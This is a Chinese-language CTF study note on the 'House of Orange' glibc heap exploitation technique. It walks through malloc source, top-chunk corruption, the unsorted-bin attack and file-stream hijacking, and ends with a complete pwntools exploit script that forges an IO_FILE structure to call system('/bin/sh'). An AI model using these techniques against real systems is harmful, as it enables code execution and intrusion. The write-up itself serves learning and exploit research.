堆溢位-House of orange 學習筆記

Editor發表於2017-11-16

堆溢位-House of orange 學習筆記

前幾天把House of orange重新學習了一下,比照著glibc

malloc的原始碼好好分析了一下,希望做到真正做到知其然亦知其所以然,其中所做的筆記如下,可能描述上有點亂,大家將就著看一下吧。同時,我也發在了我個人部落格上面 (http://blog.leanote.com/simp1e), 如果有錯誤的地方,請各位大牛多多指正。

0x00 程式描述

大名鼎鼎的house_of_orange程式邏輯還比較清晰的,一共可以build四次,然後每次build的話就是3次堆分配,兩次malloc,一次calloc,其中一次malloc是固定分配0x10位元組作為控制堆塊,裡面存放著name和color的資訊,另外按輸入分配name的大小。

堆溢位-House of orange 學習筆記

0x01 程式漏洞

1. 堆溢位

堆溢位-House of orange 學習筆記

在upgrade函式中,修改name時候不顧實際chunk的堆大小是多少,直接進行編輯,最大可編輯0x1000大小,因而存在溢位。

0x02 漏洞利用

這裡的利用思路是4ngelboy給出,下面就直接分析這樣利用的原因。

1. 資訊洩露 (洩露libc地址)

因為程式中有堆的越界寫,可以修改top_chunk的大小。在malloc原始碼裡面如果申請的堆塊大小超過了top_chunk的大小,將呼叫sysmalloc來進行分配。sysmalloc裡面針對這種情況有兩種處理,一種是直接mmap出來一塊記憶體,另一種是擴充套件top_chunk

/*

If have mmap, and the request size meets the mmap threshold, and

the system supports mmap, and there are few enough currently

allocated mmapped regions, try to directly map this request

rather than expanding top.

*/

if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&

(mp_.n_mmaps < mp_.n_mmaps_max))

{

char *mm;          /* return value from mmap call*/

try_mmap:

就是如果申請大小>=mp_.mmap_threshold,就會mmap。我們質只要申請不要過大,一般不會觸發這個,這個mmap_threshold的值為128*1024。

不過下面還有兩個assert需要檢查,如下

old_top = av->top;

old_size = chunksize (old_top);

old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*

If not the first time through, we require old_size to be

at least MINSIZE and to have prev_inuse set.

*/

assert ((old_top == initial_top (av) && old_size == 0) ||

((unsigned long) (old_size) >= MINSIZE &&

prev_inuse (old_top) &&

((unsigned long) old_end & pagemask) == 0));

/* Precondition: not enough current space to satisfy nb request */

assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

第一個assert就是要求修改後的top_chunk_size必須滿足

top_chunk_size>MINSIZE(MINISIZE)沒有查到是多少,反正不要太小都行

top_chunk需要有pre_in_use的標誌,就是最後一個位元為1

還有就是(old_end &pagemask ==0)#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))這裡沒有太深究,應該就是top_chunk需要和原來的堆頁在一個頁上吧。

第二個assert就是要求

top_chunk_size小於申請分配的記憶體即可

滿足以上四個條件之後,繼續往下執行最後把原先的那個old_top給釋放掉了,如下

top (av) = chunk_at_offset (heap, sizeof (*heap));

set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of

MALLOC_ALIGNMENT in size. */

/* The fencepost takes at least MINSIZE bytes, because it might

become the top chunk again later.  Note that a footer is set

up, too, although the chunk is marked in use. */

old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;

set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);

if (old_size >= MINSIZE)

{

set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);

set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));

set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);

_int_free (av, old_top, 1);

顯然,這樣的free操作的話,我們就可以得到一個unsort_bin,然後之後再次分配時候如果是符合unsort_bin大小的話,就會從unsort_bin裡面切出來。

堆溢位-House of orange 學習筆記

這樣的話我們再次申請一個堆塊分配到這塊區域中就能洩露libc地址了,但是這裡又有一個trick,如果我們分配的大小是large_chunk的話。malloc原始碼中還把old_top的堆地址放到了堆裡面(沒有細究原因,但是好像是large bin沒有區分大小,需要有個欄位來儲存大小的原因吧),原始碼如下

堆溢位-House of orange 學習筆記

所以如果再次分配時候如果分配大小為largebin(也就是大於512位元組)的chunk的話,就是可以既洩露libc又可以洩露heap。如下

堆溢位-House of orange 學習筆記

而如果分配大小不到512位元組時候是無法洩露堆地址的。

堆溢位-House of orange 學習筆記

2. 劫持流程

File Stream Oriented Programming

我們知道有rop即retn Oriented Programming,那麼其實File Stream Oriented Programming是一個道理的。也是一種劫持程式流程的方法,只不過方式是通過攻擊File Stream來實現罷了。

我們先要了解malloc對錯誤資訊的處理過程,malloc_printerr是malloc中用來列印錯誤的函式。

堆溢位-House of orange 學習筆記

malloc_printerr其實是呼叫__libc_message函式之後呼叫abort函式,abort函式其中呼叫了_IO_flush_all_lockp,這裡面用到IO_FILE_ALL裡面的結構,採用的是虛表呼叫的方式。

其中使用到了IO_FILE物件中的虛表,如果我們能夠修改IO_FILE的內容那麼就可以一定程度上劫持流程。IO_FILE_ALL是一個指向IO_FILE_plus的結構指標,結構如下圖所示,具體結構不需要太瞭解清晰,大概懂一些也就行。

堆溢位-House of orange 學習筆記

那麼怎麼劫持呢,這裡又需要用到unsortbin attack的知識。unsortbin attack是怎麼一回事呢,其實就是在malloc的過程中,unsortbin會從連結串列上卸下來(只要分配的大小不是fastchunk大小)

如上程式碼所示,就是會把bk+0x10的地方寫入本unsort_bin的地址,

我們通過記憶體斷點來觀察一下是如何進行的。

斷點觸發之後,發現io_file_all被修改成了指向top_chunk的指標時間地址位於main_arena。

但是我們是無法控制main_arena的內容的,至少全部控制是不行的,那麼怎麼處理呢?

這裡還是要牽扯到io_file的使用,IO_FILE結構中有一個欄位是chian欄位,它位於0x60偏移處,他指向的是下一個IO_FILE結構體,我們如果可以控制這個欄位,就再次指定io_file的位置,它相當於是一個連結串列的結構

這樣的話又聯絡到smallchunk的問題,在拆卸unsort_bin時候對屬於small_bin的chunk進行了記錄操作。

這個時候IO_FILE_all指向的正是main_arena的bins裡面unsortbin的位置,那麼偏移0x60處正好是,smallchunk的index為6的地方,也就是滿足大小為16*6的chunk,所以upgrade時候需要把unsortbin設定為0x60大小。

while (fp != NULL)

{

fp = fp->_chain;

...

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)

#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T

|| (_IO_vtable_offset (fp) == 0

&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr

> fp->_wide_data->_IO_write_base))

#endif

)

&& _IO_OVERFLOW (fp, EOF) == EOF)

因為第一個分配在main_arena的IO_FILE_plus結構的fp->mode等值不符合要求,就會通過chains跳轉到就下一個IO_FILE_plus就是我們之前設定的unsortbin,然後需要滿足一下條件

fp->mode>0

_IO_vtable_offset (fp) ==0

fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

這裡的話我就是把wide_data的IO_wirte_ptr就指向read_end就可以,然後就會呼叫虛表+0x18偏移處的函式了。

0xFE 利用exp

#coding:utf-8

from zio import *

from pwn import *

import mypwn

def menu(io,choice):

io.read_until('Your choice :')

io.writeline(str(choice))

def build(io,len,name,price,color):

menu(io,1)

io.read_until('name :')

io.writeline(str(len))

io.read_until('Name :')

io.write(name)

io.read_until('Price of Orange:')

io.writeline(str(price))

io.read_until(' Orange:')

io.writeline(str(color))

def see(io):

menu(io,2)

def upgrade(io,nlen,nname,nprice,ncolor):

menu(io,3)

io.read_until('name :')

io.writeline(str(nlen))

io.read_until('Name:')

io.write(nname)

io.read_until('Price of Orange:')

io.writeline(str(nprice))

io.read_until(' Orange:')

io.writeline(str(ncolor))

if __name__ == '__main__':

binary_path = "./houseoforange"

r_m = COLORED(RAW, "green")

w_m = COLORED(RAW, "blue")

target = binary_path

bin=ELF(binary_path)

io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)

if target==binary_path:

l=ELF("/lib/x86_64-linux-gnu/libc.so.6")

offset_main_arena=l.symbols['__malloc_hook']+0x20

else:

pass

#l=ELF("")

#offset_main_arena

build(io,0x80,'simp1e',0x1234,0xddaa)

fake_color=p32(666)+p32(0xddaa)

overflow_name='a'*0x90+fake_color+p64(0)*2+p64(0xf31)

upgrade(io,0xb1,overflow_name,666,0xddaa)

build(io,0x1000,'1'+'\n',0x1234,0xddaa)

build(io,0x400,"a"*8,199,2)

see(io)

io.read_until('Name of house : '+'a'*8)

data=io.read_until('\n')[:-1]

io.gdb_hint()

heap_ptr=mypwn.uu64(data)

real_main_arena=heap_ptr-0x668

mypwn.log('heap_ptr',heap_ptr)

mypwn.log('real_main_arena',real_main_arena)

libc_base=real_main_arena-offset_main_arena

real_system=libc_base+l.symbols['system']

upgrade(io,0x400,"b"*0x10,666,2)

see(io)

io.read_until('Name of house : '+'b'*0x10)

data=io.read_until('\n')[:-1]

heap_ptr=mypwn.uu64(data)

mypwn.log('heap_ptr',heap_ptr)

mypwn.log('_IO_list_all',l.symbols['_IO_list_all'])

io_list_all=libc_base+l.symbols['_IO_list_all']

vtable_addr=heap_ptr + 0x530-8

payload="x"*0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)

fake_chunk='/bin/sh\x00'+p64(0x61)#why ? io_file?

fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)

fake_chunk=fake_chunk.ljust(0xa0,'\x00')

fake_chunk+=p64(heap_ptr+0x420)

fake_chunk=fake_chunk.ljust(0xc0,'\x00')

fake_chunk+=p64(1)

payload+=fake_chunk

payload += p64(0)

payload += p64(0)

payload += p64(vtable_addr)

payload += p64(1)

payload += p64(2)

payload += p64(3)

payload += p64(0)*3 # vtable

payload += p64(real_system)

upgrade(io,0x800,payload,666,2)

io.interact()

0xff 參考資料

http://4ngelboy.blogspot.ca/2016/10/hitcon-ctf-qual-2016-house-of-orange.html

http://www.cnblogs.com/shangye/p/6268981.html

https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/

本文由看雪論壇 simSimple原創 轉載請註明來自看雪社群

相關文章